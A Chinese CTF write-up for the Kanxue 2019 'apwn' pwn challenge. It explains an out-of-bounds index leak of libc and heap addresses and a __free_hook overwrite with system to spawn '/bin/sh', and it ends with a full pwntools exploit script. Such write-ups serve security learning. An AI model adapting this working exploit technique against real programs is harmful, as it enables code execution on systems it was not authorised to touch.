看雪CTF2019-apwn

Author Avatar
Xzhah 3月 25, 2019
  • 在其它设备中阅读本文章

题目

首先看保护,Full RELRO,所以没办法复写got表。所以泄露了libc过后的思路是Hook掉free函数

1.png

功能:

2.png

就是添加,编辑,拯救单身狗(free lucky dog然后替换)的一个功能。

漏洞

3.png

可以看到,这里的下标v1没有做好检查,我们如果用-6和-4就可以得到_IO_2_1stdin 和_IO_2_1stderr\的libc地址,但是不是单纯的访问这个地址,这里显示的是该地址的内容,而我们想要的是libc地址,但是_IO_2_1stdin\往后8个字节的地址指向的内容便是_IO_2_1stdin\+131,所以我们输入-6过后,再输入’a’*7+’\n’就能覆盖掉\x00从而获得8个字节后地址所指向的内容,也就是_IO_2_1stdin\+131,然后就能得到_IO_2_1stdin的实际地址了。同理,如此可获得_IO_2_1stderr\的实际地址。

4.png

然后使用https://www.jianshu.com/p/8d2552b8e1a2 或者https://libc.blukat.me网站或者LibcSearcher便能查询libc版本。LibcSearcher用法:

1
2
3
from LibcSearcher import *
libc=LibcSearcher('_IO_2_1_stdin_',real_stdin_addr)
real_free_addr=real_free_addr+libc.dump('free_hook_addr')-libc.dump('_IO_2_1_stdin_')

利用

那么得到了libc的版本过后,我们可以使用编辑单身狗功能同样的漏洞,泄露得到堆基址。就是index输入80(前提是要lucky_dog那里生成过),利用这个,我们可以实现在luck_dog的partner那里写上任意地址,我们把free_hook_addr的实际地址写入(free_hook_addr的实际地址就是LibcSearcher示例里那样获得)。然后利用Lucky_dog的编辑功能,可以对这个任意地址实现写入,那么我们把system函数的实际地址写入free_hook_addr。这样一旦程序执行free函数,就会执行system。

最后一步就是把system的参数’/bin/sh’构造好,这个就是我们比如一开始生成lucky_dog时候,partner的名字就赋值’/bin/sh’就好,然后用同样的方法把他的地址写回堆里。然后生成一个single_dog(为了执行save_single_dog必备),然后选择5,就会free(‘/bin/sh’),其实就是system(‘/bin/sh’)。

坑:本地和一般的堆基址都是00,但是看雪的远程的堆基址是0x50。因为我们获得堆基址把最低字节覆盖掉了,所以这个0x00本地可以远程不行,远程的时候把00,10,20,30这样一直试下去,最后0x50的基址,也就是’/bin/sh’在0x90成功。

这里recv()没有限制好,在本地没有问题,但是远程会得到错误的libc地址,用recvuntil()或者slee(1)可解决,当时为了排坑把def create()这样的拆了,改成一个一个sendline和recv

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
IO_stdin=libc.symbols['_IO_2_1_stdin_']
malloc_hook=libc.symbols['__free_hook']
system_addr=libc.symbols['system']
p = process('./apwn')
p.recv()
p.sendline('3')
p.recv()
p.sendline('-6')
p.recv()
p.sendline('aaaaaaa')
a=p.recv()
a=a[18:24]
a=a.ljust(8,'\x00')
stdin_addr=u64(a)-131
print hex(stdin_addr)
lib_base=stdin_addr-IO_stdin
system_addr=lib_base+system_addr
malloc_hook_addr=lib_base+malloc_hook
p.sendline('2')
p.recv()
p.sendline('aaaa')
p.recv()
p.sendline('/bin/sh')
p.recv()
p.sendline('3')
p.recv()
p.sendline('80')
p.recv()
p.sendline('')
a=p.recv()
a=a[11:16]
a='\x40'+a
a=a.ljust(8,'\x00')
heap_addr=u64(a)
print 'heap_addr is'+hex(heap_addr)
p.sendline('3')
p.recv()
p.sendline('80')
p.recv()
p.sendline(p64(malloc_hook_addr))
p.recv()
p.sendline('4')
p.recv()
p.sendline('0')
p.recv()
p.sendline('bbbb')
p.recv()
p.sendline(p64(system_addr))
p.recv()
p.sendline('3')
p.recv()
p.sendline('80')
p.recv()
p.sendline(p64(heap_addr))
p.recv()
p.sendline('1')
p.recv()
p.sendline('aaaa')
p.recv()
p.sendline('5')
p.interactive()